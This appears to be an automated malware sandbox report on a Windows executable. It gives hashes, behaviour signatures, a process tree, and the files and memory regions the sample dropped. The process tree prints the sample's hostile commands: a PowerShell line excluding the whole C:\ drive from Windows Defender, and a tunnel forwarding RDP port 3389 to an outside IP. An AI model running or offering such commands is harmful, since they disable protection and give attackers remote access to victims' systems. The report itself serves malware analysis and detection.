Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 15:33

General

  • Target

    a3e4a7c4f37f185ccd7696eece42348c.exe

  • Size

    117KB

  • MD5

    a3e4a7c4f37f185ccd7696eece42348c

  • SHA1

    f9cbc1d00796fe5a8debaef74d59c567277bfd60

  • SHA256

    7bc2536f2b4f69cb20c0d7f996aaedafab15cf4d73f54792e74ac72be3ecf01f

  • SHA512

    0f8396c64ec0bd8d9c97ea75811269e7e9cc4c388b770343b59f54c89663f51bce9df4aabda0095e1a37c801e01badbb1c8976479d6aa430fccff8dfea431353

  • SSDEEP

    384:Gmjw/SoQzbZlKp6yTcKnwYQFITaxV+avOUrIL+330jaYtL5oNEASAFxG/yD494JI:G+LbqpHwmMREo0jaf6sFSyD5rh2T

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Allows Network login with blank passwords 1 TTPs 1 IoCs

    Allows local user accounts with blank passwords to access device from the network.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 7 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a3e4a7c4f37f185ccd7696eece42348c.exe
    "C:\Users\Admin\AppData\Local\Temp\a3e4a7c4f37f185ccd7696eece42348c.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2964
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /min "xs [DarkTeam]" "cmd.exe" "/k @echo off && powershell.exe -Command Add-MpPreference -ExclusionPath C:\ && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2980
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/k @echo off && powershell.exe -Command Add-MpPreference -ExclusionPath C:\ && exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -Command Add-MpPreference -ExclusionPath C:\
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2920
    • C:\Users\Admin\AppData\Local\Temp\y9AdxQMW.exe
      "C:\Users\Admin\AppData\Local\Temp\y9AdxQMW.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\ProgramData\uovan\svrreve.exe
        "C:\ProgramData\uovan\svrreve.exe"
        3⤵
        • Allows Network login with blank passwords
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        • Modifies registry class
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Users\Admin\AppData\Local\Temp\svhos.exe
          "C:\Users\Admin\AppData\Local\Temp\svhos.exe" local 3389 --to 172.86.105.112
          4⤵
          • Executes dropped EXE
          PID:892
      • C:\Windows\system32\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpDB82.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3048
        • C:\Windows\system32\timeout.exe
          timeout 7
          4⤵
          • Delays execution with timeout.exe
          PID:964
        • C:\Windows\system32\whoami.exe
          whoami
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3060

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

          Filesize

          1KB

          MD5

          a266bb7dcc38a562631361bbf61dd11b

          SHA1

          3b1efd3a66ea28b16697394703a72ca340a05bd5

          SHA256

          df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

          SHA512

          0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

          Filesize

          344B

          MD5

          66dd2197998264bad203fc309a72d65c

          SHA1

          b4e9962434241f41ee4d2c52453f61e854f90f7b

          SHA256

          a109786ff7b87de36b9fd6bfcec20654b6d418e65d85329613cbd4783f54e923

          SHA512

          9a3e1085fcdefd0483507e9d522f832a609a70df673a2b2074176fc05870ac2197dcdfd51789a8de8acc5445e46c101d10a035bf7e5a3464a3b8391360bd4f3a

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

          Filesize

          242B

          MD5

          926b51890521cf73bb32be8c0869aa5f

          SHA1

          d321de081399463efbf88b71498d2951a1b1684c

          SHA256

          74f6deac5de2571271fdadc884cd80028ebac670b2e8cf43b06bc13a047d503f

          SHA512

          1824375fe2f141898a4e11e8d80fab34eea350ad3114efd076d2d9a74760451ffe840165058a3d6846e75e0d8a1c8b184319999473cb64d1037ab3ab9ffc645e

        • C:\Users\Admin\AppData\Local\Temp\Cab46C0.tmp

          Filesize

          68KB

          MD5

          29f65ba8e88c063813cc50a4ea544e93

          SHA1

          05a7040d5c127e68c25d81cc51271ffb8bef3568

          SHA256

          1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

          SHA512

          e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

        • C:\Users\Admin\AppData\Local\Temp\Tar477F.tmp

          Filesize

          177KB

          MD5

          435a9ac180383f9fa094131b173a2f7b

          SHA1

          76944ea657a9db94f9a4bef38f88c46ed4166983

          SHA256

          67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

          SHA512

          1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

        • C:\Users\Admin\AppData\Local\Temp\svhos.exe

          Filesize

          1.7MB

          MD5

          89b5837e2772041a6ed63e78c08426d4

          SHA1

          9b6e1c4c5c8963e43bcf0b6a8980e57d5b97bde3

          SHA256

          884e86732f0c0ccb7d802a4fd6f08d707fbd053a2e7ffd99934f730f8851a36a

          SHA512

          3ffdc14468d24d765d7b22f579edad4fb8c9b1922dd49e7bfad6b59a0823752c7fad3da70cb05e0987516edbf70e9933dfc52fd5cbf0a609d109dfb3f0ab247d

        • C:\Users\Admin\AppData\Local\Temp\tmpDB82.tmp.bat

          Filesize

          168B

          MD5

          2195fd59722f0af140408d59d14e9321

          SHA1

          dd0361f547352b770b3033a037097295b3695214

          SHA256

          a57ca22b53ff5ce3ce46c4f76c72b0cf68e4730171a19f7029106cf722ca9ae3

          SHA512

          1a0fe7f5f2b0de632e2c5e05ca1995c1eb79266f47788c49d468b1d6254a84ec7e0411b8d3bd114eaf0d2e7f04e2b3ec71108b17417b32429d44d424c144bfca

        • C:\Users\Admin\AppData\Local\Temp\y9AdxQMW.exe

          Filesize

          1.9MB

          MD5

          7ddeccf7c147ea2b90426aeb43277096

          SHA1

          a350f7403f25add29a464491d37f56b5381d4a73

          SHA256

          f8880a50a9423afac856607f3a7a9759ce580fd71e8d92d480e6ec32a52378cb

          SHA512

          2b0f23fdc66cfe90c329474669109320694107f140e5d3b95338833211b4c6fa58a627583babd256fb045444f609020ce544c2a3c14e5d85c46ee76bc71ca7af

        • memory/2464-16-0x0000000000260000-0x0000000000448000-memory.dmp

          Filesize

          1.9MB

        • memory/2716-43-0x0000000000C30000-0x0000000000E18000-memory.dmp

          Filesize

          1.9MB

        • memory/2920-6-0x000000001B6B0000-0x000000001B992000-memory.dmp

          Filesize

          2.9MB

        • memory/2920-7-0x0000000002310000-0x0000000002318000-memory.dmp

          Filesize

          32KB

        • memory/2964-8-0x000007FEF5CE0000-0x000007FEF66CC000-memory.dmp

          Filesize

          9.9MB

        • memory/2964-17-0x000007FEF5CE0000-0x000007FEF66CC000-memory.dmp

          Filesize

          9.9MB

        • memory/2964-10-0x000007FEF5CE0000-0x000007FEF66CC000-memory.dmp

          Filesize

          9.9MB

        • memory/2964-9-0x000007FEF5CE3000-0x000007FEF5CE4000-memory.dmp

          Filesize

          4KB

        • memory/2964-0-0x000007FEF5CE3000-0x000007FEF5CE4000-memory.dmp

          Filesize

          4KB

        • memory/2964-1-0x0000000000D60000-0x0000000000D84000-memory.dmp

          Filesize

          144KB